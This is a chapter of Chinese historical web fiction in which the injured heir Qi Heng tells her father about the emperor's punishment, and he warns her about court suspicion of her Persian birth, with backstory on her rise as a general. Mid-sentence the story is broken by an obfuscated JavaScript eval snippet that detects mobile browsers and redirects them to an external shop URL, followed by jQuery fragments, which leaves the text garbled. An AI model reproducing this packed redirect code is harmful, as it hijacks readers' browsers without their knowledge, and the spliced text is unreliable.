每走一步都传来刺痛的膝盖难以忍受,火辣辣的掌心挨着什么东西就疼,连扶下栏杆都做不到。
戚姮后槽牙都快要咬碎了,从御书房出来的一路几乎是硬撑着走完,才勉强没有扑通跪下去。
相比身体上的折磨,心火才是真正要命,烧到颅内险些吞没理智,恨不得掉头再去找赵繁英对峙一番。
还好是忍住了。
戚姮在回来的路上反复深呼吸,默念了许多遍清心咒才压了下去,恢复平静。
踏进侯府,看清不能再熟悉的一砖一瓦,一树一草,这是她从小长大真正能称为家的地方。
飘忽两年未能安定的心终于找到了个落脚点,稳稳当当扎下根,恍如隔世。
戚姮本想直接回寝居什么都不管睡上一觉,转头想起那不靠谱的老爹刚回来,肯定喝了酒。一下午过去还不知醉成什么样,又有些放心不下。
她怕戚砚没有好好歇息,这天虽不冷了,但在外头冻上一夜也难免会着凉。
拖着腿,一瘸一拐又要去瞧他。
门一推就开,戚姮伸个脑袋进去探,先被扑面而来冲天的酒气给熏得咳嗽好几声。
黑黢黢的屋内祥和宁静,戚姮耳力眼力都极好,站在门口就能听到戚砚规律的呼吸声,心想是真醉倒了。
待走近后,借着窗边月光才看清了这屋内一隅。只见戚砚盘腿而坐,趴在桌上睡着了,身侧酒瓶东倒西歪。
戚姮大概清点了一番,足有十二个。
“喝这么多……”
一向谨慎的人都没听见戚姮开门的动静,可见喝的有多醉。
瞟到戚砚是抱着东西睡的,戚姮都不用想便猜到了,堵在心头的郁气更甚几分。
戚姮闭眼调整好情绪,俯身,用手背推了他两下:“爹,困了回去再睡。”
戚砚瞬间就睁开了眼,视线空洞,面无表情。
他这一觉睡了两个时辰,睡前醉的再狠睡醒也消了大半。现在反倒看着与常人无异甚至于有些陌生。
戚砚先歪头确认被自己抱在怀中的牌位还在,指尖轻抚过上头金色的几个大字:先妣侯母明氏夫人蝶香之神主。
贴着这冰冷的木头睡了一下午,也都把它暖热了。
戚砚这才将视线移到身边站着的女儿脸上,戚姮清晰看见他的恍惚夹带着震惊,从眼底一闪而过。
与记忆中那个人肖似八分的面容在这里,一闭一睁,眼前倏地出现晃影。
戚砚嘴唇微动,颊边眼泪滑落一滴泪,幻影便没了,五官重合,眼前还是只有戚姮。
意识猛然回笼,戚砚手忙脚乱埋头找起了喝剩一半的酒瓶。掩饰不住的局促被戚姮尽收眼里,他还要装作若无其事地岔开话题:“呀,回来了。”
“嗯。”
戚姮坐到了他身边,一天下来早已精疲力尽,语气中尽是虚脱无力:“又喝这么多。上年纪了就得注意身体,不能再跟之前那样瞎折腾了。”
“你爹我,今年满打满算才三十四。还不老呢,早着呢。”戚砚搭手在戚姮的肩上,摘了戚姮鬓边已经枯萎泛黄的兰花,搁到桌上。扭头看向窗外,月还是故乡明。
他难得吐出一句有涵养的话:“良夜恹恹,不醉如何。”
“况且,今日是你的生辰。”戚砚双手抚上戚姮的脸颊,揉来揉去,“我姑娘都成大姑娘了,封侯拜相,有出息。爹高兴。”
戚姮绷了半下午的神经这会儿才终于放松,浅浅笑了一下,也没应声。
戚砚只扫了一眼就隐隐觉出不对劲,问:“怎么了,不高兴?是赵繁英骂你了还是什么……?”
戚姮好不容易压下去的委屈随着这句而翻涌,将手掌摊开在戚砚面前,鼻尖一酸:“他打我了。”
戚砚一愣,反应过来就想要握住戚姮的手查看伤势,刚挨到,她叫唤着躲开,尾音沾染的哭腔听的他差点跪了。
戚砚瞬间缩回手,低骂了赵繁英一句。
“不碰了不碰了。”戚砚酒都彻底醒了,“让爹看看。”
戚姮这才敢伸去。
可以说得上一个皮开肉绽的惨样,渗出的血早已干涸发黑,连结成块粘在掌心,连手指都伸不直。
戚砚看的心惊肉跳,额角疯狂抽搐。
“骂两句不就行了,他还真打啊!”戚砚目眦欲裂,“有什么话不能好好说。”
戚姮垂着脑袋,眼泪扑簌簌往下掉,静悄悄地听不见一点动静。
“不哭了,哎呦。”戚砚见她这副乖模样对赵繁英的怒火更甚了,无处发作,只能先抹掉挂在戚姮脸上的泪,眸中心疼溢出。
越哄戚姮越难受,根本止不住:“之前舅舅说我做什么都行,现在又是他说不行。”
“我不知道该不该信他的话了。”戚姮喃喃自语,“我是有错,可也是舅舅对我承诺在先我才敢那么做,怎么如今,搞得好像全是我一个人的错。”
戚砚伸手搂住了她,抱在怀里,不知该说戚姮年纪小天真,还是太把曾经的情义当回事。两者无论单拎出哪个来看都不是什么好事。
几番欲言又止,戚砚还是赖了自己没有跟她好好强调过君臣关系。
“赵繁英当了十二年皇帝,就算是一起发家过命的交情也都消解的差不多了。从前你小,逗逗你说的话罢了。现在发现你不是那等规矩的臣子,他自然要转过头来防备着啊。”
戚姮就着戚砚胸膛前的布料擦干净泪:“明明出征前他都还好好的。”
“那是能装。”戚砚冷笑一声,“赵繁英惯会装。你要只是个小丫头,他能一直装对你好。可你是要承袭爵位的,手里有权力,脑子里有想法,他还能把你当一个单纯小丫头吗。”
“……”
戚砚轻抚戚姮的脑袋,换了个姿势让她倚靠的更舒适些,继续说:“武将不怕打不赢仗,只怕功高震主。不是死在战场,就是死在朝堂,谁都逃不掉。”
“君臣关系是眼前隔层纱,心前隔层山,你永远别想跟皇帝谈感情。好在赵繁英还有点良心,没追究,也没把猜忌放到你身上。”
“可是舅舅从前对我真的很好,他从来不在我面前摆皇帝架子,这次也没有降罪。”戚姮有些磕巴,“那些好也是假的吗?我……他……”
“也不能这么说。”戚砚道,“你的命,你娘的命,全都是他倾力保下的,至少那个时候他的想法很纯粹,好也是真的好。”
“就是现在,对侯府已经很宽容了,什么都有。怎么说他也是你舅舅,不可能一点都不疼你。”
戚砚的脸贴着她的发顶,轻声说:“但旧情这种东西,只能存在回忆里。提多了,只惹人烦。”
胸前的衣衫都湿透了,他也管不住戚姮的眼泪,耐心的用拇指替她拭去一次又一次。
“且当着这世子,什么都不要管了,有爹替你扛着。日后袭了爵位,有仗就打,没仗在京也是个职官,过的也舒坦。”
戚砚攥了一缕金发到眼前,抬手对在银白月光中,浅色发丝透亮异常:“闺女,你是波斯人,又是个女人。”
“‘异族非我’,朝中看你不爽的人太多了,近些年与波斯建交的原因他们不敢明面说罢了。没必要为了这群东西再把自己搭进去。”
戚姮湛蓝的眼眸在暗夜泛着幽光,闻言眸光闪烁几下,缓和了情绪,才开口道:“我要收复燕云十六州不为功名利禄,压根也没想上赶着求他们认可。”
“只是这世道太乱,边境战事频繁,扑通百姓已经挣扎在水深火热中太久。位高责任重,我既袭了爵位继承权,获封世子,本就是职责所在。”
“如果连侯府都要麻木不仁,还能指望谁来安社稷?那这个王朝,也实在是烂到根了。”
戚姮把对着赵繁英说过的话又原封不动地复述一遍,她的心也随之更加决绝:“我做不到视而不见,只要有机会,我一定,肯定,万分确定还会再犯。”
“有本事就把我杀了。”
他的侯夫人去世那年,是定远侯府最鼎盛的时期,正值戚砚预备二征北疆之际。可偏偏太不巧了,唯一的妻子多病缠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531453|203697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身,年纪轻轻撒手人寰。
戚姮年纪尚小就失了一亲,若他再走,家中连个能照应的人都没有。那时皇权过渡,说不准哪天就乱起来了,更不敢送进宫让赵繁英养。
他并非圣人,做不到抛下刚没了亲娘的女儿前去北伐。也多亏戚砚在第一次出征时打得太猛,打散了北凉的军心,压根不到火烧眉毛的程度。
所以他毅然决然捅了自己一刀,放弃年少说要夺得燕云十六州的大业,缩回侯府,称病不出,一直守着戚姮,亲身将她带大。
小姑娘不负所托,长到如今,心系天下而非独善其身,重拾了他曾经的心愿。
戚砚笑了声:“好,大不了爹陪你一起死。”
古有言“得中原者得天下”,幽州、蓟州所属的燕云十六州,向来充当抵抗北边游牧民族来犯最有力的屏障。
但,自太祖建朝以来,失去的燕云十六州再想收回来竟比登天还难。
中原自此失去第一层防线,始终将最脆弱的腹部暴露在虎视眈眈的契丹眼前,与肥羊无异,难以自保。
先后九位皇帝从登基那一瞬,到驾崩最后一刻,皆为了收复失地所忧愁。
皇帝一边因为失地愁更愁,一边又不可抑制的发展重文轻武的风气。
打一场仗要受监军监督,受安抚使指挥,受知州牵制。
古往今来,将帅没有自主派兵权在本朝开了先例,甚至还要再听命于只会纸上谈兵的书生。这就导致前仆后继无数将领战死前线,都不能从北凉手中翘动分毫。
两年前,新帝登基后便沉寂下去的边境再次蠢蠢欲动,契丹军队惹起暴乱,频繁挑衅。
赵繁英大手一挥,任殿前都指挥使、定远侯戚砚充河北路都部署,率军出征北上,镇压边境动荡。
戚砚就在那时提出了要带戚姮上战场,震惊四座,随之遭到强烈反对。
犹记当时朝堂情景,一半拿她是女人说事,另一半拿她的波斯血统来全盘否定。
——非我族类,其心必异。
戚砚还没来得及将准备好的话怼出来,皇帝就迅速同意了,打了百官个措手不及。
他就一个女儿,自然计划着把爵位传给戚姮,戚砚这么打算,赵繁英便心里有数。
北凉这战是个契机,让两人的心思不谋而合。
——给戚姮镀金。
就因着她是异族女人,所受的阻挠大到难以想象,此举压力最大的莫过于赵繁英。
决定将戚姮塞过去的第二日,上奏的折子达到了他登基以来最多的一次,足有十公斤重。
一半是直截了当的骂声,另一半是言辞恳切的反对。
赵繁英批阅到深更半夜,一直被骂一直批,还发作不出来,只能憋屈地写下“不允”二字。
还是戚砚看不下去,主动请缨让戚姮跟着就好,不用封职,反对声才渐渐弱去。
侯爵继承人往往在首战之前就会被封世子,戚姮不行,只是上个战场就被骂疯了,更别说无功袭爵。
把她带去只为有个拿得出手的履历,让赵繁英日后的册封有个名正言顺的理由。不需要真的立什么奇功,更无所谓什么权力地位。
哪知就是谁都没想着能改变什么的战役,戚姮如放虎归山,脱缰野马。过五关斩六将,短短两年就一路飙升至河北路副都部署。
获封河北路钤辖那次是她首次拒听安抚使指挥,在原本应该直击的地界装作没看见信号,私调骑兵变换阵法,在绝佳的山地地形诱敌深入,从侧翼包抄围剿而灭。
因着这事被各路将领们合伙,一层一层压了下去,没闹到安抚使的面前,大事化小。
戚姮初次意识到了自己做主的好处,更让她错误的认识到无论做了什么,只要打赢了仗便会有人兜底。
野心便如野火燎原,难以抑制。
往后的日子里,更加变本加厉。
于是,开朝以来首位且唯一一位靠自身军功上位的世子诞生了。
只是这世子的获封,太过有争议了些。